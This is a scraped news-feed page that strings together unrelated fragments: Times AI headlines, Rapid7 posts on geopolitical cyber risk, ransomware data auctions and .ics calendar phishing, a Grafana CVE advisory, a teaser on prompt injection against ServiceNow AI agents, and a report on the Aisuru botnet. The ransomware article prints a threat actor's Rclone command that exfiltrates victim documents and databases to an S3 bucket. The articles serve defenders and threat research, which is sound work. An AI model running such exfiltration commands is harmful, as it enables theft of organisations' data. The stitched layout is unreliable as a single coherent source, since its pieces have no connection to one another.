A sale of insider shares at $421 a share would make Mr. Musk’s rocket company the most valuable private company in the world, as it readies for a possible initial public offering next year.

© Meridith Kohut for The New York Times

Geopolitics has become a significant risk factor for today’s organizations, transforming cybersecurity into a technical and strategic challenge heavily influenced by state behavior. International tensions and the strategic calculations of major cyber powers, including Russia, China, Iran, and North Korea, significantly shape the current threat landscape. Businesses can no longer operate as isolated entities; they now function as interconnected global ecosystems where employees, suppliers, cloud workloads, supply chains, and data flows intersect across multiple jurisdictions, each with its own unique set of political risks.

A region considered low-risk last month could become a high-risk zone overnight if a diplomatic dispute escalates. An overseas development team could suddenly become vulnerable if that region experiences sanctions, stricter regulations, or state pressure on the workforce.

Many organizations still underestimate this dynamic reality, relying on static risk models that assume relatively stable attack patterns. However, geopolitical decisions and internal vulnerabilities are often the drivers of the most sudden and consequential changes in exposure. For example, the announcement of sanctions can trigger retaliatory cyberattacks, a military buildup can unleash destructive campaigns, and a trade or intellectual property dispute can lead to large-scale espionage.

Cybersecurity leaders must therefore integrate geopolitical intelligence directly into their operational decision-making and risk assessment processes, recognizing that political forces, rather than technical errors, are often the primary trigger for increased vulnerability.

Geopolitics as a core driver of cyber risk

Geopolitics plays a decisive role in shaping the scale, direction, and sophistication of cybercriminal and state-sponsored activity, fundamentally altering the threat landscape for organizations worldwide. Geopolitical tensions and sanctions often create conditions in which state-aligned hackers operate with greater freedom, using cyber operations as tools for espionage, economic survival, political retaliation, or strategic influence. Isolated or sanctioned states often turn to cybercrime as an alternative source of revenue.

North Korea, for instance, intensifies financially motivated campaigns, including cryptocurrency theft and extortion, when economic pressure mounts. Iran, facing recurring sanctions and political isolation, tends to respond with retaliatory or disruptive cyber operations targeting sectors and institutions associated with adversarial nations.

China’s cyber activity often peaks during moments of heightened competition over technology and strategic resources, driving expansive espionage campaigns aimed at industries like aerospace, telecommunications, AI, and energy. Russia, meanwhile, escalates disruptive or destructive cyber actions during geopolitical confrontations or military conflicts, leveraging malware, industrial system interference, and coordinated information operations.

These patterns demonstrate how cyber risk extends far beyond technical vulnerabilities: organizations become targets because of their nationality, sector, technology assets, or global partnerships.

How geopolitical tensions influence threat actor behavior

Geopolitical tensions influence the behavior of threat actors by altering their objectives, aggression levels, and operational trade-offs in ways that directly impact global organizations. Russian groups, for example, will shift from covert intelligence collection to overt disruption, employing destructive malware, DDoS attacks, and infrastructure sabotage to exert pressure. Chinese actors are known to intensify long-term espionage and supply-chain infiltration, targeting IP, cloud providers, security firms, and development environments.

Iran responds to sanctions or regional tensions with opportunistic retaliation through data wiping, defacements, and financially motivated attacks. And when facing economic strain, North Korea expands cybercrime, including cryptocurrency theft, extortion, software supply-chain poisoning, and high-level financial fraud.

For organizations, these shifts manifest internally as newly observed attack patterns, such as targeted phishing aimed at political or strategic sectors, the exploitation of vulnerabilities relevant to conflicts, or supply-chain attacks aligned with espionage objectives. The unifying pattern is that geopolitical tensions cause attackers to reprioritize, whereby espionage becomes a means of destruction, revenue generation becomes a national strategy, and symbolic retaliation becomes an operational necessity. Security teams that do not account for these geopolitical triggers risk misjudging the scale, intent, and urgency of incoming threat campaigns.

Indicators that cyber escalation is coming

A cyber escalation is rarely an isolated phenomenon; it is usually accompanied by political and technical warning signs that can herald a wave of attacks. On the political front, organizations should monitor events such as sanctions announcements, diplomatic expulsions, military mobilizations, sudden breakdowns in negotiations, strategic military strikes, or public accusations of espionage. For example, tensions with Russia are often followed by cyber influence campaigns. Retaliatory cyberattacks are also common following the imposition of sanctions on the Islamic Republic of Iran. Increased cyber espionage campaigns coincide with periods of strategic competition with China, and financially motivated attacks intensify after economic pressure is exerted on North Korea.

On a technical level, the first warning signs manifest in one or more of the following ways:

• An increase in sector-specific phishing attacks linked to political events
• The reactivation of known command and control infrastructures
• The formation of new politically-motivated hacktivist collectives
• Access intermediaries launching campaigns to sell access points in sectors linked to ongoing conflicts

Internally, organizations may sometimes observe unusual activity from cybersecurity teams, such as unexpected code updates from maintenance managers located in politically sensitive regions, vendor outages correlated with geopolitical developments, or authentication anomalies linked to regions near ongoing crises. The most important pattern to recognize is convergence: when political escalation, external surveillance, and internal anomalies appear within the same time frame, organizations must assume that threat conditions have shifted from background noise to active risk and immediately adopt a strengthened defensive posture.

Adjusting defensive posture during geopolitical instability

Harden identity infrastructure against state-grade threats.

Identity has become a frontline asset in geopolitical conflict. In today’s environment, the boundaries between hacktivism, cybercrime, and state-sponsored activities are increasingly blurred, with governments at times guiding or amplifying these operations. Credential compromise is often the entry point that enables these broader campaigns. To mitigate this risk, organizations should enforce universal, phishing-resistant MFA, regularly review and tightly govern privileged roles, particularly in sensitive geographies, and adopt just-in-time access to minimize standing privileges. These measures materially reduce exposure and strengthen resilience against sophisticated, geopolitically motivated threat actors.

Conduct targeted threat hunts

• Russia — Russian threat actors place a strong emphasis on disruption and destruction, particularly during periods of geopolitical conflict. They commonly deploy wiper malware that deletes or corrupts files and often pretend it’s ransomware. Threat hunters should watch for sudden mass file changes, system reboots, or the use of admin-level command-line tools immediately preceding damage. Russia also has advanced capabilities for ICS/OT manipulation, meaning unusual access to industrial controllers or configuration changes can be a strong indicator of potential compromise. Additionally, their operations often support information warfare, so defenders should look for compromised media or government accounts, unauthorized website changes, and targeted spear-phishing attacks tied to political events.

• China — China focuses on long-term, stealthy access rather than quick disruption. They are known for supply-chain compromises, so unusual activity from vendor accounts or anomalies in software updates should be investigated. They frequently abuse cloud identity platforms, making it essential to monitor for impossible travel logins, token theft, MFA fatigue, or suspicious OAuth applications. Chinese groups also invest heavily in credential harvesting, often trying to quietly collect usernames, passwords, and tokens over long periods. Threat hunters should look for password spraying, attempts to dump credentials, or lateral movement linked to service or personal accounts that generally don’t access sensitive systems.

• Iran — Iranian threat actors tend to be opportunistic and politically reactive, relying heavily on broad phishing campaigns. Organizations should monitor for spikes in failed logins, newly created email forwarding rules, and look-alike phishing domains. Iran also frequently conducts website defacements, so signs such as unexpected CMS admin logins, unauthorized web content changes, or DNS tampering are essential to hunt for. While generally less sophisticated than Russia or China, they can still deploy destructive malware, meaning defenders should watch for scripts or tools that mass-delete or encrypt files, suspicious scheduled tasks, and activity involving commodity RATs or .NET tools.

• North Korea — North Korea’s cyber operations are primarily financially motivated, with a strong focus on cryptocurrency theft. Threat hunters should monitor for unauthorized access to wallet systems, unusual outbound connections to cryptocurrency platforms, or abnormal API calls associated with blockchain activity. They also excel at social engineering, especially targeting finance, HR, and engineering staff by posing as recruiters or job candidates. Indicators include suspicious attachments, communication from personal email accounts, or new “contractor” accounts accessing code or financial systems. Once inside a network, their activity is typically driven by exfiltration, so large or stealthy data transfers, especially to cloud storage or foreign VPNs, are significant warning signs.

Reprioritize assets exposed to geopolitical pressure.

Identify systems and identities that become high-value targets during periods of geopolitical tension, especially those associated with sensitive regions or government-linked operations. Immediately harden them with faster patching, tighter segmentation, stricter east–west controls, and increased telemetry to concentrate defenses where state-aligned actors are most likely to strike.

Reduce external exposure on high-value frontiers.

Reduce the attack surface by removing access paths favored by advanced adversaries. Disable legacy VPNs, retire unmonitored jump servers, tighten SSO/IdP trust paths, and eliminate unnecessary remote-admin or broad cloud access routes. Reducing weak entry points raises the cost of initial access for foreign intelligence units.

Harden response capabilities

Incident response teams must prepare for an increased likelihood of destructive or politically motivated attacks. Organizations should test their data destruction and destructive attack plans, validate their disaster recovery timelines, and ensure the restoration of offline or immutable backups. Management must be kept informed of evolving geopolitical risks, and cross-functional teams, including cybersecurity, legal, communications, and operations, must conduct crisis simulation exercises. Rapid response structures, such as crisis management teams, should be ready to be activated to facilitate fast decision-making under pressure. These measures are intended to help ensure that the organization can respond effectively even in the face of significant stress or disruption.

Building a geopolitical cyber attack surface map

Building a geopolitical map of the attack surface enables organizations to anticipate how political conditions may impact cyber risk. This involves understanding how people, technology, and third-party relationships are geographically distributed, and how those distributions intersect with jurisdictions that may impose legal, operational, or conflict-related risks. A robust map also integrates geopolitical assessments with business impact and criticality, enabling organizations to see where instability or state control could affect privileged access, essential services, or sensitive data.

The following steps describe how to perform an attack surface mapping based on geopolitical events. These steps are not derived from any single framework or source; they are a practical blend of best practices for mapping infrastructure, assessing geopolitical exposure, identifying weak points, and prioritizing remediation.

• Map Internal Workforce: Create an authoritative inventory of the physical locations of all employees with technical or elevated privileges. Include full-time staff, contractors, and outsourced teams. Use HR, IAM, and staffing records to ensure accuracy and maintain updates as personnel relocate or roles change.

• Map Infrastructure: Create a comprehensive list of regions that host your cloud services, data centers, disaster recovery sites, and replication routes. Document which workloads reside where, how traffic moves between regions, and what operational responsibilities each location carries. Capture both primary and failover arrangements.

• Map Vendor & Subcontractor: This step requires suppliers to disclose the actual countries where engineering, customer support, managed services, and subcontracted tasks are performed. Validate this information through audits, questionnaires, or contractual obligations. Record each operational footprint, not just corporate registration locations.

• Geopolitical Risk Scores: Apply a standardized scoring model to each region (e.g., Matteo Iacoviello Geopolitical Risk (GPR) index, BlackRock Geopolitical Risk Indicator (BGRI), or Bloomberg’s geopolitical risk scores). Inputs may include government stability indicators, international sanctions status, regulatory pressures, history of state intervention, and exposure to espionage or cyber operations. Use a consistent scoring range.

• Overlay Business Criticality: Cross-reference each region’s risk score with the operational value of what that region supports. Identify where highly sensitive systems, privileged roles, or essential processes are located in areas with higher risk. Highlight areas where disruption would impact business continuity or security posture.

• Identify Regional Strategic Points: Look for dependencies where a single region hosts an excessive number of critical people, systems, or vendors. This includes cloud regions serving multiple core workloads, a subcontractor with a heavily centralized team, or a country where several key staff reside. Flag these for targeted risk discussions.

• Prioritize Remediation Measures: Develop a ranked set of actions based on the combined geopolitical and business impact. Potential responses include redistributing workloads across safer regions, shifting privileged roles, tightening access controls, enhancing monitoring for at-risk locations, or preparing contingency plans for rapid relocation or provider transition.

Conclusion

Geopolitics is now a key driver of cyber risk, redefining attacker profiles, motivations, and the organizations targeted and/or affected by collateral damage. Many vulnerabilities in modern businesses stem not from technical misconfigurations, but from the geopolitical interconnectedness of global supply chains, cloud architectures, distributed teams, and open-source ecosystems.

Traditional cybersecurity controls remain essential, but are insufficient on their own as they fail to account for laws, political incentives, national strategies, and human vulnerabilities influenced by the world's most active cyber powers. To manage this reality, organizations must integrate geopolitical analysis into every layer of their security decision-making process, consider geography as a key security variable, and develop the agility to proactively adapt their posture to the evolving global context.

A new technology release from OpenAI is supposed to top what Google recently produced. It also shows OpenAI is engaged in a new and more difficult competition.

© Aaron Wojack for The New York Times

The deal is a watershed for Hollywood, which has been trying to sort through the possible harms and upsides of generative artificial intelligence.

© Philip Cheung for The New York Times

Silicon Valley is again betting everything on a new technology. But the mania is not a reboot of the late-1990s frenzy.

© Joe Buglewicz/Bloomberg

Apps like OpenAI’s Sora are fooling millions of users into thinking A.I. videos are real, even when they include warning labels.

© The New York Times

Filed in federal court on Friday, the suit joins more than 40 other court disputes between copyright holders and A.I. companies.

© Michael Nagle/Bloomberg

“For OpenAI to realize its ambitions, it is not going to be enough for them to make a model that is as good as Gemini 3. They need to be able to leapfrog it again.”

© Photo Illustration by The New York Times; Photo: Peter Cade/Getty

Investors are deciding within 15 minutes whether to shovel millions into A.I. start-ups and taking entrepreneurs weight lifting and rock climbing to get deals done.

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Several new start-ups are building replicas of sites so A.I. can learn to use the internet and maybe replace white-collar workers.

Ransomware has evolved from simple digital extortion into a structured, profit-driven criminal enterprise. Over time, it has led to the development of a complex ecosystem where stolen data is not only leveraged for ransom, but also sold to the highest bidder. This trend first gained traction in 2020 when the Pinchy Spider group, better known as REvil, pioneered the practice of hosting data auctions on the dark web, opening a new chapter in the commercialization of cybercrime.

In 2025, contemporary groups such as WarLock and Rhysida have embraced similar tactics, further normalizing data auctions as part of their extortion strategies. By opening additional profit streams and attracting more participants, these actors are amplifying both the frequency and impact of ransomware operations. The rise of data auctions reflects a maturing underground economy, one that mirrors legitimate market behavior, yet drives the continued expansion and professionalization of global ransomware activity.

Anatomy of victim data auctions 

Most modern ransomware groups employ double extortion tactics, exfiltrating data from a victim’s network before deploying encryption. Afterward, they publicly claim responsibility for the attack and threaten to release the stolen data unless their ransom demand is met. This dual-pressure technique significantly increases the likelihood of payment.

In recent years, data-only extortion campaigns, in which actors forgo encryption altogether, have risen sharply. In fact, such incidents doubled in 2025, highlighting how the threat of data exposure alone has become an effective extortion lever. Most ransomware operations, however, continue to use encryption as part of their attack chain.

Certain ransomware groups have advanced this strategy by introducing data auctions when ransom negotiations with victims fail. In these cases, threat actors invite potential buyers, such as competitors or other interested parties, to bid on the stolen data, often claiming it will be sold exclusively to a single purchaser. In some instances, groups have been observed selling partial datasets, likely adjusted to a buyer’s specific budget or area of interest, while any unsold data is typically published on dark web leak sites.

This process is illustrated in Figure 1, under the assumption that the threat actor adheres to their stated claims. However, in practice, there is no guarantee that the stolen data will remain undisclosed, even if the ransom is paid. This highlights the inherent unreliability of negotiating with cybercriminals.

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This auction model provides an additional revenue stream, enabling ransomware groups to profit from exfiltrated data even when victims refuse to pay. It should be noted, however, that such auctions are often reserved for high-profile incidents. In these cases, the threat actors exploit the publicity surrounding attacks on prominent organizations to draw attention, attract potential buyers, and justify higher starting bids.

This trend is likely driven by the fragmentation of the ransomware ecosystem following the recent disruption of prominent threat actors, including 8Base and BlackSuit. This shift in cybercrime dynamics is compelling smaller, more agile groups to aggressively compete for visibility and profit through auctions and private sales to maintain financial viability. The emergence of the Crimson Collective in October 2025 exemplified this dynamic when the group auctioned stolen datasets to the highest bidder. Although short-lived, this incident served as a proof of concept (PoC) for the growing viability of monetizing data exfiltration independently of traditional ransom schemes.

Threat actor spotlight

WarLock

The WarLock ransomware group has been active since at least June 2025. The group targets organizations across North America, Europe, Asia, and Africa, spanning sectors from technology to critical infrastructure. Since its emergence, WarLock has rapidly gained prominence for its repeated exploitation of vulnerable Microsoft SharePoint servers, leveraging newly disclosed vulnerabilities to gain initial access to targeted systems.

The group adopts double extortion tactics, exfiltrating data from the victim’s systems before deploying its ransomware variant. From a recent incident Rapid7 responded to, we observed the threat actor exfiltrating the data from a victim to an S3 bucket using the tool Rclone. An anonymized version of the command used by the threat actor can be found below:

Rclone.exe copy \\localdirectory :s3 -P --include "*.{pdf,ai,dwg,dxf,dwt,doc,docx,dwg,dwt,dws,shx,pat,lin,ctb,dxf,dwf,step,stl,dst,dxb,,stp,ipt,prt,iges,obj,xlsx,mdf,sql,doc,xls,sql,bak,sqlite,db,sqlite3,sdf,ndf,ldf,csv,mdf,dbf,ibd,myd,ppt,pptx}" -q --ignore-existing --auto-confirm --multi-thread-streams 11 --transfers 11 --max-age 500d --max-size 2000m

WarLock operates a dedicated leak site (DLS) on the dark web, where it lists its victims. From the outset of its operations, the group has auctioned stolen data, publishing only the unsold information online (Figure 2). The group further mentions that the exfiltrated data may be sold to third parties if the victim refuses to pay in their ransom note (Figure 3).

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Although WarLock shares updates on the progress and results of these auctions through its DLS, it also relies heavily on its presence on the RAMP4 cybercrime forum to attract potential buyers (Figure 4). This approach likely allows WarLock to reach a wider buyer base by publishing these posts under the relevant thread “Auction \ 拍卖会”. It should be noted that WarLock is assessed to be of Chinese origin, which is further supported by the Chinese-language reference in this thread title.

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Using the alias “cnkjasdfgd,” the group advertises details about the nature and volume of exfiltrated data, along with sample files (Figure 5). WarLock further directs interested buyers to its Tox account, a peer-to-peer encrypted messaging and video-calling platform, where the auctions appear to take place.

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This approach appears to be highly effective for WarLock. Despite being a recent entrant to the ransomware ecosystem, the group has reportedly sold victim data in approximately 55% of its claimed attacks, accounting for 55 victims to date as of November 2025, demonstrating significant traction within underground markets. The remaining victims’ data has been publicly released on the group’s DLS, following unsuccessful ransom negotiations and a lack of interested buyers.

Rhysida

The Rhysida ransomware group was first identified by cybersecurity researchers in May 2023. The group primarily targets Windows operating systems across both public and private organizations in sectors such as government, defense, education, and manufacturing. Its operations have been observed in several countries, including the United Kingdom, Switzerland, Australia, and Chile. The threat actors portray themselves as a so-called “cybersecurity team” that assists organizations in securing their networks by exposing system vulnerabilities.

Rhysida maintains an active DLS, where it publishes data belonging to victims who refuse to pay the ransom, in alignment with double extortion tactics. Since at least June 2023, the group has also conducted data auctions via a dedicated “Auctions Online” section of its DLS. These auctions typically run for seven days, and Rhysida claims that each dataset is sold exclusively to a single buyer. As of mid-October 2025, the group was hosting five ongoing auctions, with starting prices ranging from 5 to 10 Bitcoin (Figure 6).

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Once the auction period ends, Rhysida publicly releases any unsold data on its DLS (Figure 7). Instead, if the auction is successful, the data is marked as “sold”, without being released on the group’s DLS (Figure 8). In many cases, the group publishes only a subset of the stolen data, often accompanied by the note “not sold data was published” (Figure 9).

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With 224 claimed attacks to date as of November 2025, approximately 67% resulting in full or partial data sales, auctions represent a significant additional revenue stream for Rhysida. The group’s auction model appears to be considerably more effective than WarLock’s (Figure 10), likely due to Rhysida’s established reputation within the cybercrime ecosystem and its involvement in several high-profile attacks.

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Conclusion

The cyber extortion ecosystem is undergoing a profound transformation, shifting from traditional ransom payments to a diversified, market-driven model centered on data auctions and direct sales. This evolution marks a turning point in how ransomware groups generate revenue, transforming what were once isolated extortion incidents into structured commercial transactions.

Groups such as WarLock and Rhysida exemplify this shift, illustrating how ransomware operations increasingly mirror illicit e-commerce ecosystems. By auctioning exfiltrated data, these actors not only create additional revenue streams but also reduce their dependence on ransom compliance, monetizing stolen data even when victims refuse to pay. This approach has proven particularly lucrative for these threat actors, likely setting a precedent for newer extortion groups eager to replicate their success.

As a result, proprietary and sensitive data, including personally identifiable and financial information, is flooding dark web marketplaces at an unprecedented pace. This expanding secondary market intensifies both the operational and reputational risks faced by affected organizations, extending the impact of an attack well beyond its initial compromise.

To adapt to this evolving threat landscape, organizations must move beyond reactive crisis management and embrace a proactive, intelligence-driven defense strategy. Continuous dark web monitoring, early breach detection, and the integration of cyber threat intelligence into response workflows are now essential. In a world where stolen data functions as a tradable commodity, resilience depends not on negotiation but on vigilance, preparedness, and rapid action.

The Q3 2025 Threat Landscape Report, authored by the Rapid7 Labs team, paints a clear picture of an environment where attackers are moving faster, working smarter, and using artificial intelligence to stay ahead of defenders. The findings reveal a threat landscape defined by speed, coordination, and innovation.⠀

The quarter showed how quickly exploitation now follows disclosure: Rapid7 observed newly reported vulnerabilities weaponized within days, if not hours, leaving organizations little time to patch before attackers struck. Critical business platforms and third-party integrations were frequent targets, as adversaries sought direct paths to disruption. Ransomware remained a most visible threat, but the nature of these operations continued to evolve.

Groups such as Qilin, Akira, and INC Ransom drove much of the activity, while others went quiet, rebranded, or merged into larger collectives. The overall number of active groups increased compared to the previous quarter, signaling renewed energy across the ransomware economy. Business services, manufacturing, and healthcare organizations were the most affected, with the majority of incidents occurring in North America.

Many newer actors opted for stealth, limiting public exposure by leaking fewer victim details, opting for “information-lite” screenshots in an effort to thwart law enforcement. Some established groups built alliances and shared infrastructure to expand reach such as Qilin extending its influence through partnerships with DragonForce and LockBit. Meanwhile, SafePay gained ground by running a fully in-house, hands-on model avoiding inter-party duelling and law enforcement. These trends show how ransomware has matured into a complex, service-based ecosystem.

Nation-state operations in Q3 favored persistence and stealth over disruption. Russian, Chinese, Iranian, and North Korean-linked groups maintained long-running campaigns. Many targeted identity systems, telecom networks, and supply chains. Rapid7’s telemetry showed these actors shrinking the window between disclosure and exploitation and relying on legitimate synchronization processes to remain hidden for months. The result: attacks that are harder to spot and even harder to contain.

Threat actors are fully operationalizing AI to enhance deception, automate intrusions, and evade detection. Generative tools now power realistic phishing, deepfake vishing, influence operations, and adaptive malware like LAMEHUG. This means the theoretical risk of AI has been fully operationalized. Defenders must now assume attackers are using these tools and techniques against them and not just supposing they are. 

This is but a taste of the valuable threat information the report has to offer. In addition to deeper dives on the subjects above, the threat report includes analysis of some of the most common compromise vectors, new vulnerabilities and existing ones still favored by attackers, and, of course, our recommendations to safeguard against compromises across your entire attack surface. 

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Want to learn more? Click here to download the report. 

A new meeting on your calendar or a new attack vector?

It starts innocently enough. A new meeting appears in your Google calendar and the subject seems ordinary, perhaps even urgent: “Security Update Briefing,” “Your Account Verification Meeting,” or “Important Notice Regarding Benefits.” You assume you missed this invitation in your overloaded email inbox, and click “Yes” to accept.

Unfortunately, calendar invites have become an overlooked delivery mechanism for social engineering and phishing campaigns. Attackers are increasingly abusing the .ics file format, a universally trusted, text-based standard to embed malicious links, redirect victims to fake meeting pages, or seed events directly into users’ calendars without interaction. 

Because calendar files often bypass traditional email and attachment defenses, they offer a low-friction attack path into corporate environments. 

Defenders should treat .ics files as active content, tighten client defaults, and raise awareness that even legitimate-looking calendar invites can carry hidden risk.

The underestimated threat of .ics files

The iCalendar (.ics) format is one of those technologies we all rely on without thinking. It’s text-based, universally supported, and designed for interoperability between Outlook, Google Calendar, Apple, and countless other clients.

Each invite contains a structured list of fields like SUMMARY, LOCATION, DESCRIPTION, and ATTACH. Within these, attackers have found an opportunity: they can embed URLs, malicious redirects, or even base64-encoded content. The result is a file that appears completely legitimate to a calendar client, yet quietly delivers the attacker’s message, link, or payload.

Because calendar files are plain text, they easily slip through traditional security controls. Most email gateways and endpoint filters don’t treat .ics files with the same scrutiny as executables or macros. And since users expect to receive meeting invites, often from outside their organization, it’s an ideal format for social engineering.

How threat actors abuse the invite

Over the past year, researchers have observed a rise in campaigns abusing calendar invites to phish credentials, deliver malware, or trick users into joining fake meetings. These attacks often look mundane but rely on subtle manipulation:

• The lure: A professional-looking meeting name and sender, sometimes spoofed from a legitimate organization.

• The link: A URL hidden in the DESCRIPTION or LOCATION field, often pointing to a fake login page or document-sharing site.

• The timing: Invites scheduled within minutes, creating urgency (“Your access expires in 15 minutes — join now”).

• The automation: Calendar clients that automatically add external invites, ensuring the trap appears directly in the user’s daily schedule.

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Example of where some of the malicious components would reside in the .ics file

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It’s clever, low-effort social engineering leveraging trust in a system built for collaboration.

The “invisible click” problem

The real danger of malicious calendar invites isn’t just the link inside,  it’s the automatic delivery mechanism. In certain configurations, Outlook and Google Calendar will automatically process .ics attachments and create tentative events, even if the user never opens or even receives the email. That means the malicious link is now part of the user’s trusted interface with their calendar.

This bypasses the usual cognitive warning signs. The email might look suspicious, but the event reminder popping up later? That feels like part of your day. It’s phishing that moves in quietly and waits.

Why traditional defenses miss it

Security tooling has historically focused on attachments that execute code or scripts. By contrast, .ics files are plain text and standards-based, so they don’t inherently appear dangerous. Many detection engines ignore or minimally parse them.

Attackers exploit that gap. They rely on the fact that few organizations monitor for BEGIN:VCALENDAR content or inspect calendar metadata for embedded URLs. Once delivered, the file can bypass filters, land in the user’s calendar, and lead to a high-confidence click.

What defenders can do now

Defending against calendar-based attacks begins with recognizing that these are not edge cases anymore. They’re a natural evolution of phishing  where user convenience becomes the delivery mechanism.

Here are a few pragmatic steps every organization should consider:

1. Treat .ics files like active content. Configure email filters and attachment scanners to inspect calendar files for URLs, base64-encoded data, or ATTACH fields.

2. Review calendar client defaults. Disable automatic addition of external events when possible, or flag external organizers with clear warnings.

3. Sanitize incoming invites. Content disarm and reconstruction (CDR) tools can strip out or neutralize dangerous links embedded in calendar fields.

4. Raise awareness among users. Train employees to verify unexpected invites — especially those urging immediate action or containing meeting links they didn’t anticipate. Employees can also follow the helpful advice in this Google Support article.

5. Use strong identity protection. Multi-factor authentication and conditional access policies mitigate the impact if a phishing link successfully steals credentials.

These steps don’t eliminate the threat, but they significantly increase friction for attackers and their malware.

A quiet evolution in social engineering campaigns

Malicious calendar invites represent a subtle yet telling shift in attacker behavior: blending into legitimate business processes rather than breaking them. In the same way that invoice-themed phishing emails once exploited trust in accounting workflows, .ics abuse leverages the quiet reliability of collaboration tools.

As organizations continue to integrate calendars with chat, cloud storage, and video platforms, the attack surface will only expand. Links inside invites will lead to files in shared drives, authentication requests, and embedded meeting credentials. These are all opportunities for exploitation.

Rethinking trust in everyday workflows

Defenders often focus on the extraordinary like zero days, ransomware binaries, and new exploits. Yet the most effective attacks remain the simplest: exploiting human trust in ordinary digital habits. A calendar invite feels harmless and that’s exactly why it works.

The next time an unexpected meeting appears in your calendar, it might be more than just a double-booking. It could be a reminder that security isn’t only about blocking malware, but about questioning what we assume to be safe.

As artificial intelligence companies prepare to pour money into the midterm elections, some in the A.I. world are hatching plans of their own to curb the industry’s influence.

© Al Drago/Bloomberg

New tools and features from retailers and tech companies use artificial intelligence to help people find gifts and make decisions about their shopping lists.

© Janet Mac

Grafana Labs has issued a warning regarding a maximum-severity security flaw, identified as CVE-2025-41115, affecting its Enterprise product. The vulnerability can allow attackers to impersonate administrators or escalate privileges if certain SCIM (System for Cross-domain Identity Management) settings are enabled.  According to the company, the issue arises only when SCIM provisioning is activated and configured. Specifically, both the enableSCIM feature flag and the user_sync_enabled option must be set to true. Under these conditions, a malicious or compromised SCIM client could create a user with a numeric externalId that directly maps to an internal account, potentially even an administrative account. 

SCIM Mapping Flaw (CVE-2025-41115) Enables Impersonation Risks 

In SCIM systems, the externalId attribute functions as a bookkeeping field used by identity providers to track user records. Grafana Labs’ implementation mapped this value directly to the platform’s internal user.uid. Because of this design, a numeric external ID such as “1” could be interpreted as an existing Grafana account. This behavior opens a door for impersonation or privilege escalation, enabling unauthorized users to assume the identity of legitimate internal accounts.  Grafana Labs notes in its documentation that SCIM is intended to simplify automated provisioning and management of users and groups, particularly for organizations relying on SAML authentication. The feature, available in Grafana Enterprise and certain Grafana Cloud plans, remains in Public Preview. As a result, breaking changes may occur, and administrators are encouraged to test the feature thoroughly in non-production environments before deployment. 

SAML Alignment Required to Prevent Authentication Mismatches 

A major security requirement highlighted by Grafana Labs involves the alignment between the SCIM externalId and the identifier used in SAML authentication. SCIM provisioning relies on a stable identity provider attribute, such as Entra ID’s user.objectid, which becomes the external ID in Grafana. SAML authentication must use the same unique identifier, delivered through a SAML claim, to ensure proper account linkage.  If these identifiers do not match, Grafana may fail to associate authenticated SAML sessions with the intended SCIM-provisioned accounts. This mismatch can allow attackers to generate crafted SAML assertions that result in unauthorized access or impersonation. The company recommends using the assertion_attribute_external_uid setting to guarantee that Grafana reads the precise identity claim required to maintain secure user associations.  To reduce risk, Grafana requires organizations to use the same identity provider for both user provisioning and authentication. Additionally, the SAML assertion exchange must include the correct userUID claim to ensure the system can link the session to the appropriate SCIM entry. 

Configuration Requirements, Supported Workflows, and Automation Capabilities 

Administrators can set up SCIM in Grafana through the user interface, configuration files, or infrastructure-as-code tools such as Terraform. The UI option, available to Grafana Cloud users, applies changes without requiring a restart and allows more controlled access through restricted authentication settings.  Grafana’s SCIM configuration includes options for enabling user synchronization (user_sync_enabled), group synchronization (group_sync_enabled), and restricting access for accounts not provisioned through SCIM (reject_non_provisioned_users). Group sync cannot operate alongside Team Sync, though user sync can. Supported identity providers include Entra ID and Okta.  SCIM provisioning streamlines user lifecycle tasks by automating account creation, updates, deactivation, and team management, reducing manual administrative work and improving security. Grafana notes that SCIM offers more comprehensive, near real-time automation than alternatives such as Team Sync, LDAP Sync, Role Sync, or Org Mapping.  Grafana Labs is urging organizations to review their SCIM and SAML identifier mappings immediately, warning that inconsistencies may lead to unauthorized access scenarios tied to CVE-2025-41115.  In parallel, cybersecurity intelligence leaders such as Cyble continue tracking identity-related risks and misconfigurations across global environments. Security teams looking to strengthen visibility, detect threats earlier, and reduce exposure can explore Cyble’s capabilities, book a free demo to see how Cyble’s AI-driven threat intelligence enhances defense across cloud, endpoints, and identity systems. 

In tweaking its chatbot to appeal to more people, OpenAI made it riskier for some of them. Now the company has made its chatbot safer. Will that undermine its quest for growth?

© Julia Dufosse

OpenAI adjusted ChatGPT’s settings, which left some users spiraling, according to our reporting. Kashmir Hill, who reports on technology and privacy, describes what the company has done about the users’ troubling reports.

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Aaron Costello uncovers how second-order prompt injection turns AI agents against their own systems. He explains how attackers exploit ServiceNow’s Now Assist and offers clear guidance on securing AI collaboration.

The post When AI Turns on Its Team: Exploiting Agent-to-Agent Discovery via Prompt Injection appeared first on AppOmni.

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Mr. Summers departed the artificial intelligence company’s board after revelations of his communications with the disgraced financier Jeffrey Epstein.

© David Degner for The New York Times

Although some Silicon Valley executives paint China as the enemy, Chinese brains continue to play a major role in U.S. research.

© Jason Henry for The New York Times

The new artificial intelligence model is the second the company has released this year. OpenAI and Anthropic made similar updates a few months ago.

© Andria Lo for The New York Times

A combination of technological developments and market forces is undermining the trust between viewer and filmmaker. What’s at stake is history itself.

Called Project Prometheus, the company is focusing on artificial intelligence for the engineering and manufacturing of computers, automobiles and spacecraft.

© Jeenah Moon for The New York Times

New court cases seek to define content created by artificial intelligence as defamatory — a novel concept that has captivated some legal experts.

© Tim Gruber for The New York Times

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The move has further stoked concerns among some investors that the rally in artificial intelligence stocks was overdone.

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While the tech giants have plenty of money to build data centers, smaller outfits are taking on debt and taking big chances to work with them.

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Aisuru, the botnet responsible for a series of record-smashing distributed denial-of-service (DDoS) attacks this year, recently was overhauled to support a more low-key, lucrative and sustainable business: Renting hundreds of thousands of infected Internet of Things (IoT) devices to proxy services that help cybercriminals anonymize their traffic. Experts say a glut of proxies from Aisuru and other sources is fueling large-scale data harvesting efforts tied to various artificial intelligence (AI) projects, helping content scrapers evade detection by routing their traffic through residential connections that appear to be regular Internet users.

First identified in August 2024, Aisuru has spread to at least 700,000 IoT systems, such as poorly secured Internet routers and security cameras. Aisuru’s overlords have used their massive botnet to clobber targets with headline-grabbing DDoS attacks, flooding targeted hosts with blasts of junk requests from all infected systems simultaneously.

In June, Aisuru hit KrebsOnSecurity.com with a DDoS clocking at 6.3 terabits per second — the biggest attack that Google had ever mitigated at the time. In the weeks and months that followed, Aisuru’s operators demonstrated DDoS capabilities of nearly 30 terabits of data per second — well beyond the attack mitigation capabilities of most Internet destinations.

